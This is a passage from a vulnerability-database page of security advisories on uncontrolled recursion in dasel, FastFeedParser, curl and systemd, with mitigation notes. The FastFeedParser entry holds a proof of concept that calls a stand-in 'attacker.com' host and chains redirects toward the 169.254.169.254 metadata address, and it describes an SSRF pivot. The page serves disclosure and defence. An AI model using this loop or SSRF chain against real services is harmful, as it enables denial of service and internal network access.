to `UnmarshalYAML` that limits the total number of alias resolutions, similar to go-yaml v4\u0027s internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).",
  "id": "GHSA-4fcp-jxh7-23x8",
  "modified": "2026-03-25T21:35:31Z",
  "published": "2026-03-19T12:50:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-4fcp-jxh7-23x8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33320"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TomWright/dasel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service"
}

GHSA-4GX2-PC4F-WQ37

Vulnerability from github – Published: 2026-04-08 00:12 – Updated: 2026-06-06 00:24
VLAI
Summary
FastFeedParser has an infinite redirect loop DoS via meta-refresh chain
Details

Summary

When parse() fetches a URL that returns an HTML page containing a <meta http-equiv="refresh"> tag, it recursively calls itself with the redirect URL — with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check.

Details

parse() catches ValueError on XML parse failure, extracts a meta-refresh URL from the HTML response via _extract_meta_refresh_url(), and tail-calls itself with that URL. The recursive call is unconditional — there is no maximum redirect depth, no set of already-visited URLs, and no guard against self-referential or looping redirects.

fastfeedparser/main.pyparse() (recursive sink):

def parse(source: str | bytes, ...) -> FastFeedParserDict:
    is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
    if is_url:
        content = _fetch_url_content(source)
    try:
        return _parse_content(content, ...)
    except ValueError as e:
        ...
        redirect_url = _extract_meta_refresh_url(content, source)
        if redirect_url is None:
            raise
        return parse(redirect_url, ...)   # ← unconditional recursion, no depth limit

_extract_meta_refresh_url() uses urljoin(base_url, match.group(1)) so relative, protocol-relative (//host/path), and absolute URLs in the content= attribute are all followed.

PoC

No live server required. The following monkeypatches _fetch_url_content to return an infinite HTML meta-refresh chain and confirms unbounded recursion:

import fastfeedparser.main as m

call_count = 0
_orig = m._fetch_url_content

def mock_fetch(url):
    global call_count
    call_count += 1
    if call_count > 10:
        raise RuntimeError(f"Stopped at call {call_count}")
    next_url = f"http://169.254.169.254/step{call_count}/"
    return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()

m._fetch_url_content = mock_fetch

try:
    m.parse("http://attacker.com/loop")
except RuntimeError as e:
    print(f"CONFIRMED infinite loop: {e}")
finally:
    m._fetch_url_content = _orig
    print(f"Total fetches before stop: {call_count}")

# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11

Each recursive call performs a real HTTP request (30 s timeout), HTML parsing, and a Python stack frame allocation. With Python's default recursion limit of 1000 and a 30 s per-request timeout, a single attacker request can hold a server thread busy for up to ~8 hours before a RecursionError is raised.

SSRF chain variant: The first response can be legitimate HTML redirecting to an internal address (http://192.168.1.1/), letting the redirect loop also serve as an SSRF bypass for targets that would otherwise be blocked by application-level URL validation applied only to the initial URL.

Impact

This is a denial-of-service vulnerability with a secondary SSRF-chaining impact. Any application that accepts user-supplied feed URLs and calls fastfeedparser.parse() is affected — including RSS aggregators, feed preview services, and "subscribe by URL" features. An attacker with no authentication can:

  • Hold a server worker thread indefinitely (one request per attacker connection)
  • Crash the worker process via RecursionError after ~1000 redirects
  • Use the redirect chain to pivot SSRF requests to internal network targets
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.9"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fastfeedparser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39376"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:12:26Z",
    "nvd_published_at": "2026-04-07T20:16:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen `parse()` fetches a URL that returns an HTML page containing a `\u003cmeta http-equiv=\"refresh\"\u003e` tag, it recursively calls itself with the redirect URL \u2014 with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check.\n\n\n### Details\n`parse()` catches `ValueError` on XML parse failure, extracts a meta-refresh URL from the HTML response via `_extract_meta_refresh_url()`, and tail-calls itself with that URL. The recursive call is unconditional \u2014 there is no maximum redirect depth, no set of already-visited URLs, and no guard against self-referential or looping redirects.\n\n**`fastfeedparser/main.py` \u2014 `parse()` (recursive sink):**\n```python\ndef parse(source: str | bytes, ...) -\u003e FastFeedParserDict:\n    is_url = isinstance(source, str) and source.startswith((\"http://\", \"https://\"))\n    if is_url:\n        content = _fetch_url_content(source)\n    try:\n        return _parse_content(content, ...)\n    except ValueError as e:\n        ...\n        redirect_url = _extract_meta_refresh_url(content, source)\n        if redirect_url is None:\n            raise\n        return parse(redirect_url, ...)   # \u2190 unconditional recursion, no depth limit\n```\n\n`_extract_meta_refresh_url()` uses `urljoin(base_url, match.group(1))` so relative, protocol-relative (`//host/path`), and absolute URLs in the `content=` attribute are all followed.\n\n### PoC\nNo live server required. The following monkeypatches `_fetch_url_content` to return an infinite HTML meta-refresh chain and confirms unbounded recursion:\n\n```python\nimport fastfeedparser.main as m\n\ncall_count = 0\n_orig = m._fetch_url_content\n\ndef mock_fetch(url):\n    global call_count\n    call_count += 1\n    if call_count \u003e 10:\n        raise RuntimeError(f\"Stopped at call {call_count}\")\n    next_url = f\"http://169.254.169.254/step{call_count}/\"\n    return f\"\"\"\u003chtml\u003e\u003chead\u003e\n\u003cmeta http-equiv=\"refresh\" content=\"0; url={next_url}\"\u003e\n\u003c/head\u003e\u003cbody\u003enot a feed\u003c/body\u003e\u003c/html\u003e\"\"\".encode()\n\nm._fetch_url_content = mock_fetch\n\ntry:\n    m.parse(\"http://attacker.com/loop\")\nexcept RuntimeError as e:\n    print(f\"CONFIRMED infinite loop: {e}\")\nfinally:\n    m._fetch_url_content = _orig\n    print(f\"Total fetches before stop: {call_count}\")\n\n# Output:\n# CONFIRMED infinite loop: Stopped at call 11\n# Total fetches before stop: 11\n```\n\nEach recursive call performs a real HTTP request (30 s timeout), HTML parsing, and a Python stack frame allocation. With Python\u0027s default recursion limit of 1000 and a 30 s per-request timeout, a single attacker request can hold a server thread busy for up to ~8 hours before a `RecursionError` is raised.\n\n**SSRF chain variant:** The first response can be legitimate HTML redirecting to an internal address (`http://192.168.1.1/`), letting the redirect loop also serve as an SSRF bypass for targets that would otherwise be blocked by application-level URL validation applied only to the initial URL.\n\n\n\n### Impact\nThis is a denial-of-service vulnerability with a secondary SSRF-chaining impact. Any application that accepts user-supplied feed URLs and calls `fastfeedparser.parse()` is affected \u2014 including RSS aggregators, feed preview services, and \"subscribe by URL\" features. An attacker with no authentication can:\n\n- Hold a server worker thread indefinitely (one request per attacker connection)\n- Crash the worker process via `RecursionError` after ~1000 redirects\n- Use the redirect chain to pivot SSRF requests to internal network targets",
  "id": "GHSA-4gx2-pc4f-wq37",
  "modified": "2026-06-06T00:24:06Z",
  "published": "2026-04-08T00:12:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kagisearch/fastfeedparser/security/advisories/GHSA-4gx2-pc4f-wq37"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39376"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kagisearch/fastfeedparser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/fastfeedparser/PYSEC-2026-60.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FastFeedParser has an infinite redirect loop DoS via meta-refresh chain"
}

GHSA-4P2H-JGGV-23JG

Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2024-03-27 18:32
VLAI
Details

curl 7.21.0 to and including 7.73.0 is vulnerable to uncontrolled recursion due to a stack overflow issue in FTP wildcard match parsing.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-8285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-14T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "curl 7.21.0 to and including 7.73.0 is vulnerable to uncontrolled recursion due to a stack overflow issue in FTP wildcard match parsing.",
  "id": "GHSA-4p2h-jggv-23jg",
  "modified": "2024-03-27T18:32:37Z",
  "published": "2022-05-24T17:36:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8285"
    },
    {
      "type": "WEB",
      "url": "https://github.com/curl/curl/issues/6255"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1045844"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-4881"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT212327"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT212326"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT212325"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210122-0007"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202012-14"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NZUVSQHN2ESHMJXNQ2Z7T2EELBB5HJXG"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAEHE2S2QLO4AO4MEEYL75NB7SAH5PSL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NZUVSQHN2ESHMJXNQ2Z7T2EELBB5HJXG"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DAEHE2S2QLO4AO4MEEYL75NB7SAH5PSL"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00029.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4@%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4%40%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b@%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b%40%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://curl.se/docs/CVE-2020-8285.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2021/Apr/51"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4P54-Q58Q-8MPC

Vulnerability from github – Published: 2022-08-24 00:00 – Updated: 2022-08-28 00:00
VLAI
Details

A flaw was found in systemd. An uncontrolled recursion in systemd-tmpfiles may lead to a denial of service at boot time when too many nested directories are created in /tmp.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-3997"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-23T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in systemd. An uncontrolled recursion in systemd-tmpfiles may lead to a denial of service at boot time when too many nested directories are created in /tmp.",
  "id": "GHSA-4p54-q58q-8mpc",
  "modified": "2022-08-28T00:00:32Z",
  "published": "2022-08-24T00:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3997"
    },
    {
      "type": "WEB",
      "url": "https://github.com/systemd/systemd/commit/5b1cf7a9be37e20133c0208005274ce4a5b5c6a1"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2021-3997"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2024639"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-15"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2022/01/10/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

Ensure that an end condition will be reached under all logic conditions. The end condition may include checking against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.

Mitigation
Implementation

Increase the stack size.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.